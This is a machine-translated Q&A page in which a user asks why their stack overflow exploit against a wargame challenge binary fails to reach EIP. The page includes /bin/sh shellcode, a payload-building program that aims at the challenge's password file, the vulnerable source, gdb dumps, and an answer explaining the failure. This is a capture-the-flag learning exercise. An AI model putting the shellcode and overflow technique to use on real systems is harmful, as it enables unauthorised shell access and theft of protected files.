簡體   English   中英

緩沖區溢出未達到eip

[英]buffer overflow doesn't reach eip

嗨,我真的很想解決這個問題:這是我的代碼,下面是我嘗試溢出的代碼:

#include <stdio.h>
#define B 145 // 141 for ex overflow
#define A 0

char sc[]=
        "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
        "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
void main()
{
        char *env[2] = {sc, NULL};
        char buf[B];
        int     i;
        int     *ap = (int*)(buf + A);
        int     ret = 0xbffffffa - strlen(sc) - strlen("/challenge/app-systeme/ch10/ch10");
        FILE    *file;

        for (i = 0; i < B - 4; i += 4)
        {
               if (i == 136)
                        *ap++ = 0xbffffc64;
                else if (i == 98)
                {
                        *ap++ = "/challenge/app-systeme/.passwd";//edx
                }
                else
                {
                        if (i >= 50)
                        *ap++ = 0x42424242;
                        else if (i < 50)
                        *ap++ = 0xbfffffb1;//0x45454545;
                }
        }

        file = fopen("/tmp/toto/COUCOU", "a+");
        fprintf(file, "%s%s", "USERNAME=", buf);
        fclose(file);

        printf("AAAAWESOME");
        execle("/challenge/app-systeme/ch10/ch10", "ch10", "/tmp/toto/COUCOU", NULL, env);
}

易受攻擊的代碼:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFFER 512

struct Init
{
    char username[128];
    uid_t uid;
    pid_t pid;

};

void cpstr(char *dst, const char *src)
{
    for(; *src; src++, dst++)
    {
        *dst = *src;
    }
    *dst = 0;
}
void chomp(char *buff)
{
    for(; *buff; buff++)
    {
        if(*buff == '\n' || *buff == '\r' || *buff == '\t')
        {
           *buff = 0;
            break;
        }
    }
}
struct Init Init(char *filename)
{

    FILE *file;
    struct Init init;
    char buff[BUFFER+1];


    if((file = fopen(filename, "r")) == NULL)
    {
        perror("[-] fopen ");
        exit(0);
    }

    memset(&init, 0, sizeof(struct Init));

    init.pid = getpid();
    init.uid = getuid();

    while(fgets(buff, BUFFER, file) != NULL)
    {
        chomp(buff);
        if(strncmp(buff, "USERNAME=", 9) == 0)
        {
            cpstr(init.username, buff+9);
        }
    }
    fclose(file);
    return init;
}
int main(int argc, char **argv)
{
    struct Init init;
    if(argc != 2)
    {
        printf("Usage : %s <config_file>\n", argv[0]);
        exit(0);
    }
    init = Init(argv[1]);
    printf("[+] Runing the program with username %s, uid %d and pid %d.\n", init.username, init.uid, init.pid);

    return 0;
}

確實,我無法達到eip,因為gdb通常顯示發生在循環中的段錯誤:

esi是溢出后被壓碎的第一個寄存器,但我仍然不知道該怎么喂他。

這是一個緩沖區大小,我什至可以填充edi和edx,但是那又是什么呢?

eip仍然無法訪問嗎?

通常情況下:

gdb$ r
process 14534 is executing new program: /challenge/app-systeme/ch10/ch10

Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
  EAX: 0x00000000  EBX: 0xB7FCFFF4  ECX: 0x42424242  EDX: 0x42424242  o d I t s z a P c 
  ESI: 0xBFFFFC64  EDI: 0x000001FF  EBP: 0xBFFFFC64  ESP: 0xBFFFF8EC  EIP: 0xB7E9CD88                                     
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
--------------------------------------------------------------------------[code]
=> 0xb7e9cd88:  mov    ecx,DWORD PTR [edx+0x8]
   0xb7e9cd8b:  mov    edx,DWORD PTR [edx]
   0xb7e9cd8d:  cmp    eax,ecx
   0xb7e9cd8f:  cmovg  eax,ecx
   0xb7e9cd92:  test   edx,edx
   0xb7e9cd94:  jne    0xb7e9cd88
   0xb7e9cd96:  repz ret 
   0xb7e9cd98:  nop
--------------------------------------------------------------------------------
0xb7e9cd88 in ?? () from /lib/i386-linux-gnu/libc.so.6
gdb$ bt
#0  0xb7e9cd88 in ?? () from /lib/i386-linux-gnu/libc.so.6
#1  0xb7e9cdc4 in ?? () from /lib/i386-linux-gnu/libc.so.6
#2  0xb7e9d2e4 in __uflow () from /lib/i386-linux-gnu/libc.so.6
#3  0xb7e90d3a in _IO_getline_info () from /lib/i386-linux-gnu/libc.so.6
#4  0xb7e90c83 in _IO_getline () from /lib/i386-linux-gnu/libc.so.6
#5  0xb7e8fc20 in fgets () from /lib/i386-linux-gnu/libc.so.6
#6  0x08048685 in Init (filename=0xbfffffb1 "/tmp/toto/COUCOU") at binary10.c:56
#7  0x08048716 in main (argc=0x2, argv=0xbffffed4) at binary10.c:75

好吧,看來我忘了提到二進制文件的部分RELRO狀態。

不再歡迎光明。

    (gdb) disas __uflow
    Dump of assembler code for function __uflow:
       0xb7e9d270 <+0>:     push   %esi
       0xb7e9d271 <+1>:     push   %ebx
  ...
       0xb7e9d37c <+268>:   lea    0x0(%esi,%eiz,1),%esi
    => 0xb7e9d380 <+272>:   movzbl (%edx),%eax
       0xb7e9d383 <+275>:   add    $0x1,%edx
 ...
       0xb7e9d3b3 <+323>:   call   0xb7e92ca0
       0xb7e9d3b8 <+328>:   jmp    0xb7e9d2b1 <__uflow+65>
    End of assembler dump.
    (gdb) x/i $eax
       0xb7e9c588 <_IO_file_overflow+424>:  add    %bh,-0x1(%eax)
    (gdb) vim ok
    Undefined command: "vim".  Try "help".
    (gdb) x/i $edx
       0x806c000:   Cannot access memory at address 0x806c000
    (gdb)

有什么可以檢測到溢出的?

好了,這解決了。 但是請相信我,我對所做的事情一無所知,如果有人可以教我們一堂課,他將是受歡迎的。

我沒有分析得很詳細,但似乎你不溢出initmain() ,你滿溢initInit()但它證明了彈性溢出,因為那里有一個513字節的緩沖區后馬上保留,線間距從您要攻擊的敏感調用堆棧信息中。

一旦Init()通過復制操作將此結構返回給main() ,就僅復制sizeof(struct Init)字節,因此它不會將漏洞層疊到您要攻擊的功能上。

我相信,如果您想觸發該漏洞而不會受到任何干擾,則應直接覆蓋main()init ,方法是將其作為指針傳遞給Init() ,例如void Init(char *filename, struct Init *init)

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM